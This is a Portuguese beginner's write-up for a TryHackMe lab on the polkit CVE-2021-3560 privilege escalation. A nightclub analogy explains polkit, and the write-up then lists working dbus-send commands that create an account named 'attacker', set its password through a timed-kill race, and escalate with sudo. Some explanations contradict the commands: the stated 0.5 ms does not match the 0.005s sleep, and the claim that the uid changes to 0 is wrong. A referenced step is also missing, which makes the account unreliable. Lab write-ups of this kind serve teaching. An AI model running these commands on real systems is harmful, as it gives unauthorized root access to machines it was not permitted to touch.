
artigo para iniciantes para o módulo de nível fácil do TryHackMe - polkit:CVE-2021-3560
vamos primeiro verificar a versão do polkit para obter melhores informações.
apt list --installed | grep policykit-1
policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]
usei o deepseek para criar uma analogia simples para você entender melhor o conceito de um policy kit.
Boate: Sistema Polkit
Área VIP da Boate: Serviços/ações privilegiadas do sistema (montar unidades, instalar software, gerenciar rede)
Segurança na porta: O próprio Polkit, interceptando todas as tentativas de entrada
Lista de convidados / Código de vestimenta: Regras de política do Polkit (armazenadas em /usr/share/polkit-1/actions/ e /etc/polkit-1/rules.d/)
Passe VIP / Cartão de sócio: Estar em grupos específicos do Linux (como wheel, sudo, storage, network)
Verificação de identidade: Polkit verificando a identidade do usuário e associação a grupos
Proprietário / Gerente (root): usuário (tem acesso irrestrito a tudo)
Fregueses comuns tentando entrar na área VIP: Usuários/programas normais tentando executar comandos privilegiados
Segurança consultando o manual de regras: Polkit verificando as políticas configuradas para aquela ação específica
Segurança pedindo pulseira/senha especial: Solicitação de autenticação (pedindo senha)
Segurança deixando alguém passar sem verificar: Ação permitida sem autenticação (para usuários/grupos confiáveis)
polkit é o sudo do systemd
agora podemos explorar esse segurança da boate com algumas requisições sorrateiras para burlar a verificação de credenciais das requisições dbus.
vamos entender isso usando a mesma analogia anterior do segurança da boate.
digamos que o processo normal seja: o segurança verifica as identidades; se a pessoa é suficientemente privilegiada para realizar aquela tarefa específica, ele é autorizado pelo segurança. mas para explorar, o atacante enviará uma requisição falsa dizendo " me torne um gerente da boate com todo acesso" para o secretário da boate. agora temos 11 milissegundos antes que a mensagem chegue ao secretário e obviamente ele não aceitará essa requisição. então teremos que cancelar a requisição na metade do tempo que leva para chegar ao secretário, ou seja, 0,5 milissegundos. agora vamos roubar o bilhete que tinha a requisição de aumentar nossos privilégios bem antes que o segurança possa verificar quem o enviou. roubamos e o segurança não consegue dizer quem fez isso. agora o bilhete tem um número único que agora está órfão. o número único existe no sistema mas o bilhete original sumiu. agora o protocolo padrão para lidar com essa situação é que o segurança assumirá que a mensagem foi enviada pelo dono da boate, já que o manual diz isso. funciona mais ou menos assim: o segurança pergunta "ei, quem enviou esta mensagem #12345?" o dbus-daemon olha em seus registros e diz " tenho o rastreamento da #12345 no meu log mas não consigo encontrar a mensagem real...ERRO" então em vez de dizer que não sabe quem enviou, o dbus-daemon retorna um código de erro. o manual de treinamento do segurança tem um bug. o manual diz que se você não sabe quem enviou uma mensagem específica e recebe um erro ao verificar a identidade, então assuma que é do Dono da Boate (uid 0). o segurança informa ao secretário da boate que esta mensagem é do dono da boate, embora seja apenas um proxy; o secretário aprova isso e então o secretário cria uma nova conta de gerente da boate para o atacante. agora o atacante tem privilégios equivalentes ao usuário root.
agora vamos olhar os comandos que nos darão imediatamente um usuário chamado attacker com a senha Expl01ted. então começamos com os comandos:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
esse comando criará um usuário com o nome attacker. nós interrompemos logo após 0,5 milissegundos para impedir que a mensagem seja lida pelo segurança (polkit). o usuário attacker ainda não tem nenhuma credencial root.
para dar ao usuário attacker os tão necessários privilégios de root, usaremos o comando:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
id attacker
agora podemos ver que o uid do usuário attacker é 1000.
aqui adicionamos o uid do usuário atacante original que não tinha privilégios. isso garantirá que o uid do usuário attacker vá de 1000 para 0.
id attacker
agora podemos ver que o uid do usuário attacker mudou de 1000 para 0, o que significa que estamos no grupo do usuário root com os mais altos privilégios. podemos executar diretamente comandos como root daqui ou pular para um shell root, o que for melhor para você.
sudo su